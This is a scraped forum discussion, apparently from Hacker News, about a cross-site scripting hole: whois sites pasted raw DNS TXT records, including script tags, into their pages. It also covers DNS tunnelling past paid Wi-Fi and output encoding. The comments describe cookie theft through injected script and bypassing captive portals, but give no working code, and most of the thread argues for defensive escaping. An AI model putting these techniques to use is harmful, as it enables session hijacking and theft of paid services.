I am half serious, but how about making HTML served in TXT records a standard trick for serving small web pages very quickly? There are way fewer network round trips:
1. DNS query for TXT record for example.com
2. DNS reply with HTML content
Compared with the traditional 7 steps:
1. DNS query for A record for example.com
2. DNS reply with x.x.x.x
3. TCP SYN to port 80
4. TCP SYN/ACK
5. TCP ACK
6. HTTP GET
7. HTTP reply with HTML content
It would also make the content super-distributed, super-reliable, as DNS servers cache it worldwide (and for free so it would reduce hosting costs :D). Also TXT records can contain more than 255 bytes as long as they are split on multiple strings of 255 bytes in a DNS reply.
Again, I am only half serious, but this is an interesting thought experiment...
Edit: oddtarball: DNSSEC would solve spoofing. And updates should take no longer than the DNS TTL to propagate: the TTL is under your control; you could set it to 60 seconds if you wanted. It is a common, false misconception that many DNS resolvers ignore the TTL. Some large web provider (was it Amazon? I forget) ran an experiment and demonstrated that across tens or hundreds of thousands of clients wordlwide, 99% of them saw DNS updates propagated within X seconds if the TTL was set to X seconds. Only <1% of DNS resolvers were ignoring it.
Ah, iodine. I've used it in airports, hotels, cafes - it's great. The only drawback is that it's slower than dialup and latency is off the charts. But when you're stuck on a cruise ship and internet access is $8 a minute, being able to ssh somewhere and browse the web and check your mail very slowly through links is worth it.
I hope you're not still talking cruise ships here! Those folks are often paying high prices by the minute or by the megabyte for access: you'd be pretty literally stealing from your neighbors in that situation. (The moral issue for pay-by-the-day systems is one step further removed, but I think it's still real.)
In this context "access control" doesn't mean what you think it does. It refers to multiplexing the communications of multiple devices over a single shared communications medium, as in "controlling" (arbitrating) shared access to the radio spectrum. It has no relationship to network authorization or authentication and provides no security whatsoever.
Calling it "access control" has always been confusing which is why people started calling it Machine Address Code or Ethernet Hardware Address instead.
Regardless, the judge is going to look at intent and knowledge. You knew this was a paid service, and your intent was to not pay. You understood this was a way to avoid payment, and you understood that someone else had paid for access.
I was staying at a Hilton (Omaha, NE) last night and their captive portal scared me off by putting the MAC address, IP address, and user agent in the query string, plus network stuff like the VLAN id and the MAC address of some piece of network gear that's servicing you. It seemed like they had a pretty complex system to deter abuse.
Of course, I just tethered my phone and got way better service than their crappy $10/day wifi.
Woah, awesome. I've used the http://dnstunnel.de/ tunneling scripts before, and they're a bit of a pain to setup (mostly because of the perl library requirements).
Good. Still, it needs to be pointed out. This idea is an awesome hack to show how can you piggyback on existing infrastructure to make it work as something it was not intended to.
But it absolutely, terribly sucks at anything practical. Actually, it's a non-solution. Here's why.
> There are way fewer network round trips:
> 1. DNS query for TXT record for example.com
> 2. DNS reply with HTML content
Let me show an exactly equivalent alternative implementation of the above concept.
1. HTTP GET x.x.x.x/example
2. HTTP reply with HTML content
Both of them require you to do exactly the same steps - that is, connect to a hardcoded port of a server at a hardcoded IP address, request a user-defined resource, receive and display reply. DNS is not magic, IP addresses of DNS servers are hardcoded in your network configuration and/or in your router configuration and/or in your ISP configuration.
I know you're half-serious with this idea, but I'm going to play along. So to continue with the interesting thought experiment... if people were to start actually using DNS records to smuggle websites, they'd quickly overwhelm the capabilities of the DNS network, so the reliability and free hosting would quicky go out of window, along with all hope of ever having anything even resembling consistency in the Internet.
So yeah; a nice hack, but kids, don't try to deploy it at scale ;).
> Both of them require you to do exactly the same steps - that is, connect to a hardcoded port of a server at a hardcoded IP address, request a user-defined resource, receive and display reply. DNS is not magic, IP addresses of DNS servers are hardcoded in your network configuration and/or in your router configuration and/or in your ISP configuration.
The steps are not exactly the same. Any sensible ISP give you at least two redundant DNS servers with your DHCP response and most public DNS providers also give you multiple redundant servers. When you do a DNS lookup, your OS or browser handles failover between the DNS servers automatically, client side. When accessed by IP address, as you've demonstrated, HTTP offers no client-side failover mechanism built into web browsers to fall back to a different IP.
It's additionally important to note that architecturally, DNS servers are far more scaleable than most HTTP servers. They don't run anywhere near as much code per request and don't require the overhead of TCP or HTTP.
Note that I'm also not encouraging using DNS instead of HTTP for serving websites, I'm just pointing out that DNS is a more reliable technology and has client-side failover mechanisms so the pros which mrb listed are very real.
I don't think you understand his hack - but then, that's understandable, because it wouldn't work anyway without modifying the browser. You'd need a special client (or a proxy) to feed the content of DNS TXT record directly to the browser, because you're not using HTTP (or even TCP) anymore.
Exercise for the reader (the proxy soln): write a server called txtdns.com that returns the content of TXT records as HTML. The path would look like http://txtdns.com/example.com - and the key is that the server is only accessing DNS, even though your client is using TCP and HTTP.
I think his point is that DNS doesn't require the TCP or HTTP overhead.
There are more steps and layers involved with an HTTP GET and reply than with DNS resolution.
It requires TCP overhead if the dns packet is bigger than 512 bytes. You could abuse the DNS protocol to carry HTTP-esque metadata but it would be a small victory over standard HTTP. Reusing an existing TCP connection is more efficient.
TCP is not required for larger messages if EDNS(0) is available--which it probably is--and the network allows; which conservatively, it probably does at least till the 1280~1450 byte mark.
Your suggestion is not equivalent. It is not realistic to ask the user to memorize the x.x.x.x IP address. The point of mrb's solution is that it fully takes care of problem of "typing <domainname> in the address bar and getting the content as quickly as possible without having to memorize IP addresses".
The SYN packet can contain data, but the spec requires that it not be passed down to the application until the three-way handshake is complete (so a SYN-with-data from a spoofed source address won't elicit a response).
The TCP Fast Open proposal gets around this by using a cookie, so that the first connection requires a normal three-way-handshake, but subsequent connections between the same client and host can use an expedited handshake that eliminates a round trip.
Yeah but in practice no browser does this. There is no system call on Linux or Windows to push data as part of the SYN packet. You would have to craft TCP/IP packets and their headers with a raw socket...
Linux does support this for "TCP Fast Open" - the system call used is sendto() or sendmsg() with the MSG_FASTOPEN flag set, in place of the usual connect().
Malware has been putting updates and command and control instructions inside DNS records for a while now, so they get the benefits you mention as well as continued availability even when the original authoritative servers are taken down.
Used to work in the DNS business. "It will take up to 24 hours to propagate" is a way to manage expectations and prevent support calls from coming in within the first 24 hours after a DNS change, not a reflection of actual DNS propagation times.
I don't know how things work now, but at least a few years ago there were plenty of DNS server that would take basically the full 48hours to update, regardless of TTL.
I'm not a netadmin, so don't know the innards of how it all works, but one day I watched a domain of ours pointing to an amazon load-balancer spread across multiple AZs - the IP address would change in DNS every so often, flipping between the AZs, presumably.
Implementations will differ for "elastic" software defined load balancing so understand this is not a definitive statement applicable to all cloud service providers. In the case of AWS a default ELB set to serve one zone might have one IP. If it is configured to serve to 3 zones it may then have 3 IP addresses. These are minimums and they do change randomly so AWS warns you not o set A Records to IPs of those.
This is not hardware. This is software defined networking which you should apply one of the rules of good cloud design which is to expect failure - and this is a feature - IPs change. Deal with it. ;)
Further we have the TTL issue noted and an very interesting thing happens there. If you use a default of say 300 or more seconds for your FQDN in the DNS record which has even a CNAME to an ELB set of FQDNs (if multiple ELBs for example) then your going to have a condition at some times where that 300 seconds is still ticking down when the say 60 second TTL for the ELB's fqdn expires and or the ELB IP itself has changed. In that time span your resolved IP may be assigned to another ELB and traffic going to your platform hits some other platform. So perhaps at the first 1 second mark of your 300 second TTL start the AWS ELB TTL has expired and perhaps is assigned to nothing - your traffic gets failure to connect - then the IP is assigned to some other FQDN and your traffic hits some other ELB. (Your church patrons now get porn perhaps.) The flip side is true and interesting to watch in logs.
How to take advantage of this feature? Oh that is fun. Marketing? Route all such identifiable traffic to good bad or ugly ends?
I hate the term "DNS propagation". It confuses people, and makes them think things that aren't true, like a new domain isn't usable until it "propagates" through the Internet.
We tell clients that we've launched their site, but that the DNS changes might take up to 48 hours to propagate.
Realistically, from our office and to most of the world it's probably live within 5 minutes. One of our local ISPs happens to be one of those irritating ones that just ignores your TTL and caches records for days at a time.
Sometimes one of their servers will end up with the new record and one with the old. That combined with peoples' home routers caching records (again, sometimes ignoring TTLs) can lead to fun situations where the site might load fine for a couple hours (hit the good ISP server, local router cached) then the old site for a couple of hours (hit the bad server, local router cached...).
I used to try and explain it to people but after having enough people freak out about how their site switched back, it's not live yet, etc, etc... I just tell them it's going to take 48 hours. If it's visible earlier it's a pleasant surprise, and if it takes two days I don't get any panicked phone calls.
When bytes count (and they often don't, but in this case they probably do), what would be your preferred system? And what do you see as your favoured approach's main advantage(s) over ASN.1/BER?
If you want to access this in a web browser, you still need some server which speaks HTTP and makes the DNS request and forwards the result to the browser. So you're really not saving much there. In fact, you'll have higher latency since you now need HTTP plus an extra DNS request. Unless of course browsers support dns://...
Not really. Unless you have direct browser support for these DNS pages, you still need the proxy server close to your client to get the benefits of a CDN. Besides, the content is static, you could just dump that on a web server anyway.
"HTML served in TXT records a standard trick for serving small web pages"
I already did this many years ago. It works well.
I also do not use DNSSEC (unencrypted DNS packets) opting instead for dnscurve (encrypted DNS packets).
What is still missing from the DNS world is a server that can handle pipelined (TCP) DNS queries (multiple lookups in the same request). I think the spec allows for it but no one ever implemented it as far as I know.
In your thought experiment, that would be "HTTP/1.1 pipelining".
I use HTTP pipelining everyday via command line utlities and where "web browsing" is concerned I find it hard to live without.
Van Jacobsen's NDN (née CCNX) does this by replacing the entire HTTP to IP stack with a hierarchical key-value protocol using only two packet types: Interest (GET) and Data (PUT). It can overlay UDP or any layer 2 directly, and tunnel IP. http://named-data.net/
The great majority of networks out in the world discard UDP DNS packets bigger than 512 bytes. Firewall admins do it, DNS admins do it, application proxies do it, birds do it, bees do it, even educated fleas do it....
As far as the 65535 limit, from RFC 2671:
4.5.5. Due to transaction overhead, it is unwise to advertise an
architectural limit as a maximum UDP payload size. Just because
your stack can reassemble 64KB datagrams, don't assume that you
want to spend more than about 4KB of state memory per ongoing
transaction.
It does not have to to with link, udp or ip it is a limitation of the dns spec.
Here is a extention that "fixes" it:
https://tools.ietf.org/html/draft-ietf-dnsind-udp-size-02
I have not seen that spec extention implemented in the wild.
I just found the extention so I have on the other side not looked for it.
"Again, I am only half serious" (said two times...)
Why say that at all? Is it a way to fend off ridicule? Or does this show a lack of confidence in the idea and what you are saying?
Reminds me of comments that start "Am I the only one who thinks that..."
I've gotten out of the habit of apologizing for things that I say or prefacing them with phrases such as that. The reason is that I found that it was a lazy way to not give as much thought to what I was saying and whether I needed to vet my thoughts more.
As someone who prefaces comments with similar things, I don't think it's unreasonable. Sometimes we know ideas are a bit of a cludge (Thinking back to the first time I did an IP over DNS tunnel) but it's still fun and interesting; but that doesn't stop some people jumping down your throat if they think you're suggesting it in earnest. Twice, maybe much? But the sentiment itself, I can see where it's coming from.
Wanted to add that what you said above such as "this maybe a bit of a cludge" seems better than "only half serious" as a preface because you are acknowledging the possible problem in the idea procactively if you want to call it that.
Put your e-mail on your profile. The smart appsec groups, like Google's, would look at your hack as a resume. Seriously, who would have ever thought of XSS via DNS?
You could have just alert'd, too, but no. Harlem Shake. Bravo.
Am I the only one here that doesn't get what I should be looking for? I see the txt fields have google-site-verification and peniscorp but what is that doing?
They finally fixed it, but when this was first posted, the whois sites didn't do any sanitization of the TXT records, which meant that they'd just slap the record into the page. As the record included html saying, "hey, load this script from peniscorp", loading the page would let the script loaded there do various manipulations.
Since there is very little discussion in the link, pardon me for stating what may be obvious to some, but not necessarily everyone.
The point here is that:
1. DNS TXT records can contain HTML, including scripts and whatever.
2. Domain registrants can publish arbitrary TXT records.
3. TXT records can appear in pages generated by web sites which serve, for instance, as portals for viewing domain registration information, including DNS records such as TXT records.
4. Thus, such sites are vulnerable to perpetrating cross-site-script attacks (XSS) on their visitors if they naively paste the TXT record contents into the surrounding HTML.
5. The victim is the user who executes a query which finds the malicious domain which serves up the malicious TXT record that is interpolated into the displayed results. The user's browser executes the malicious code.
Thus, when you are generating UI markup from pieces, do not trust any data that is pulled from any third-party untrusted sources, including seemingly harmless TXT records.
Thanks for explaining. I know HN is traditionally programmer/programming focused, but some of us come from other areas and only have limited experience with such topics. It's very common for me to enter a thread about a security vulnerability, for example, and think "wait, how big of a deal is this?"
I enumerated all IPv4 PTR records a few years back, and I saw a couple XSS things there as well. If anyone wants to host that data set somewhere, let me know, would be interesting to see what others do with it.
Edit: I found my data and have a grep running on it, will share what turns up.
Do you know anyone there or anything about the process of getting something hosted there? I can burn the data to a DVD and snail mail it to them (or even drop it off in SF).
I've made an account, and will upload tomorrow. My home internet connection has a pretty slow upload so I'm going to sneakernet it to work and upload from there.
Put it somewhere I can grab it and I'll be happy to host it (I do some work for an ISP and have my own servers in the datacenter). Email is in profile.
It's an SPF record. By adding your authorized mail servers to your DNS, recipient mail servers can "verify" that a given server is supposed to sending mail for your domain.
idk why youre getting downvoted because it's a good question and people need to ask more security questions.
Any website I can inject malicious javascript into, I can steal your cookies from (assuming the httponly flag isn't set on the cookie).
If you were logged into one of these whois sites and they didnt have the httponly flag set on your auth cookie, an attacker could send you to a page on the site that contains malicious javascript that could phone home with your auth cookie, letting the attacker hijack your session.
You can defend your own websites from these kinds of attacks by setting up a Content Security Policy and using the 'httponly' flag on auth cookies.
Whenever you have credentials stored on the same host as the dns frontend. I imagine that a few domain-registrars will have similar tools available on their servers, so that users can check data on their own domains.
Just wait until somebody turn it into a xargs bomb.
But yes, XSS is a serious problem. Even if it's done in a site that handles no valuable info (sites that display whois normaly handle very valuable info), it can be used to launch attacks against other sites.
One can imagine that I trust who.is and will click on links that go there, but now it can redirect me to an evil site that will attempt to exploit my browser.
Wasn't expecting that at all! Had several tabs opened and was really confused for a few seconds while I tried to find the tab with 'youtube on autoplay'.
Firefox needs to show the 'play' icon for the audio tag.
I think Chrome is able to do this because it separates tabs into processes, but I don't think there's a good way for Firefox to do it since everything is in a single process.
I think the problem with that is it doesn't work with Flash audio. With multiprocess browsers, the Flash audio can be associated with a tab, but that's awkward/not possible if everything is in the same process.
Well, Chrome still often shares the same process for groups of tabs. I think this particular feature has something more to do with a change they made to their plugin API.
Chrome didn't have this feature for a very long time, and if anything sounded like it was actually harder because of how Chrome handles their processes.
It's really a hell. Average website over there is using at least 3 - 4 external domains for css, js, fonts and so. Getting a working website without nearly whitelisting many of them is highly improbable right now.
Sure. I used script blockers for a while. But after having to whitelist a huge number of them and loosing very long and precious time, I gave in. I do not put sensitive and important data on my computer. (Actually I was not doing that for a very long time even before giving in.) I always work on remote hosts.
Therefore I treat my desktop as a security research one. Of course I would not do that on my desktop I were really working with crackme binaries ;)
Regarding "I do not put sensitive and important data on my computer" and "I always work on remote hosts", I must respectfully disagree. Never mind the fact that you set a bad example for newbies, being so caviler with your own safety harms the security of the rest of us. Downloading and executing random software off the Internet---the raison d'être of modern web browsers---is a good way to get owned. Just because you don't use your computer for anything important doesn't mean that it cannot be compromised and used to attack me. Plus, if you use your computer to log into other computers to do real work, then your computer is extremely important! A successful compromise would give attackers all the same remote access you have. Admittedly, that's not what your everyday, ordinary malware is after, but it's the principal of the thing that bothers me.
I'm not telling my setup is bullet proof. I'm just saying I gave in on some threats. I do not try to protect against all threats via all possible ways. I try to make my sensitive data to be unattractive and harder to get.
Latest part that you edited out was a question I would raise but it seems like you also think that would not hold.
Even though this setup is not secure. It's more secure than many everyday usage patterns. In a way at least..
Additionally to then there's also the various things that track identity and behaviour. Tell me what you search and click, and I'll tell you what you think? (That's not fixed with a simple add-on of course.)
There is also google. But we use them in a way or not.
There are some nut-jobs or bad-ass people out there not using google, going with security enhanced phones and ddg. This does not make average or the 95percentile bad behaved.
This makes us only low security sensitive and targets.
For most people Ghostery and AdBlock Edge are good enough. I'm a pretty conservative, default-deny kind of hacker, so the results of my cost-benefit analysis are a little... different... than most. :)
I've found about 80 TXT records with <script tags in them - most of them look like the person not understanding where to paste a JavaScript snippet over XSS attempts, here's all of them -
Come on people, this is so basic. If you didn't generate the data, don't display it on your web page without filtering it. It blows my mind that this isn't just everyone's default.
Never trust any input. I think this is a case where people assume that is isn't pure user input because is would have already been parsed/checked/verified.
"Oh, its in the DNS system so it must be safe" is worse then "well, it came from our database so it should be fine". Don't even trust something coming out of your own database. You never know what various input checking bugs might have accidentally let in over time.
Thinking about it as "don't concatenate different data types" leads to even more correct software. Concepts like "trust" and "sanitization" are too often vague and misleading. It might be perfectly valid for TXT records--even trusted and sanitized ones--to contain sequences with left angle brackets that make them look like HTML tags. Either way, that's no excuse for failing to convert the text to HTML (by escaping it) before concatenating it into an HTML page.
This is what I always try to press home to developers I work with. It's not 'sanitization', it's encoding. In order to make a web browser display the string I've retrieved from my database, I have to turn it into an HTML representation that will be displayed as that string. In order to use a string in a JavaScript string literal, I need to turn it into a JavaScript string literal which represents the string.
I disagree. Obviously data should be validated. But passing validation, I prefer to store data exactly as the user supplied it and then sanitize on output. That way you always have a copy of the original data assuming things change.
Definitely. If it is genuinely invalid, refuse it, otherwise store everything as-is. You don't know on the way in what encoding will be needed on the way out: the same sting could be output later plain, in HTML, in a JS literal, in SQL if someone is daft enough to use ad-hoc unparamerterised queries, and so forth.
This is only too true! At work we do CRUD projects, which means user input gets stored in the database. I almost always break other people's work by adding HTML tags to the inputs, navigating back to the page, and seeing markup that shouldn't be there. Even database output needs to be sanitized
Same here. It is surprising how many times I've done that over the years and people are both surprised how easy it was but easily convince themselves that "it'll be all right" somehow and they'll fix it later...
In playing around with this hack, I discovered that Dreamhost doesn't properly escape TXT records in their admin interface when modifying DNS records. I put an iframe in and it shows the box but the src is removed; it also killed the page at that point so I'm unable to remove it...
I wish browser developers gave a shit about their users instead of continuously inventing new ways for sites to auto play annoying content, but such is life.
It has everything to do with the TXT record... Every XSS could be summed up with "just the website that renders HTML", but that's pretty much the point. TXT records aren't often thought of as input and as you can see several sites made that mistake of assumption.
I opened this link on my Android's Chrome browser. The top search text input started wildly convulsing. First I thought the post was about that. But I didn't really get what this is about.
Oh I see. This makes sense. This doesn't seem challenging to prevent. A simple replacement of characters on the HTML entity table would have prevented this instead of putting arbitrary text onto standard output.
That is from topkek.js. Pretty clever! It plays the harlem shake song. One element shakes by itself until the second phase of the song, then lots of other elements start shaking.
Cleverness aside, it is practical when looking for XSS vulnerabilities because it's very obvious when you've succeeded in injecting your code.
I imagine the UK Computer Misuse Act (eg at Section 3, http://www.legislation.gov.uk/ukpga/1990/18) probably covers it if the person who altered the TXT field does so to cause websites to load code on purpose, that purpose being for example to impair (Section 3(2)(a)) the running of the computer [causing Rick Astley to play, defo counts!] - but it can be read to cover pretty much anything.
Similarly I imagine something like the CFAA (18 USC 1030) probably has broad enough clauses to make this sort of action technically illegal, at least in some cases? But I'm out of my depth on that one.
What a bunch of nonsense. TXT records were intended for arbitrary use. Why in the world are these companies pulling data from unknown sources and dumping it RAW into their output? Wow. Good find, IMO.
Again, I am only half serious, but this is an interesting thought experiment...
Edit: oddtarball: DNSSEC would solve spoofing. And updates should take no longer than the DNS TTL to propagate: the TTL is under your control; you could set it to 60 seconds if you wanted. It is a common, false misconception that many DNS resolvers ignore the TTL. Some large web provider (was it Amazon? I forget) ran an experiment and demonstrated that across tens or hundreds of thousands of clients wordlwide, 99% of them saw DNS updates propagated within X seconds if the TTL was set to X seconds. Only <1% of DNS resolvers were ignoring it.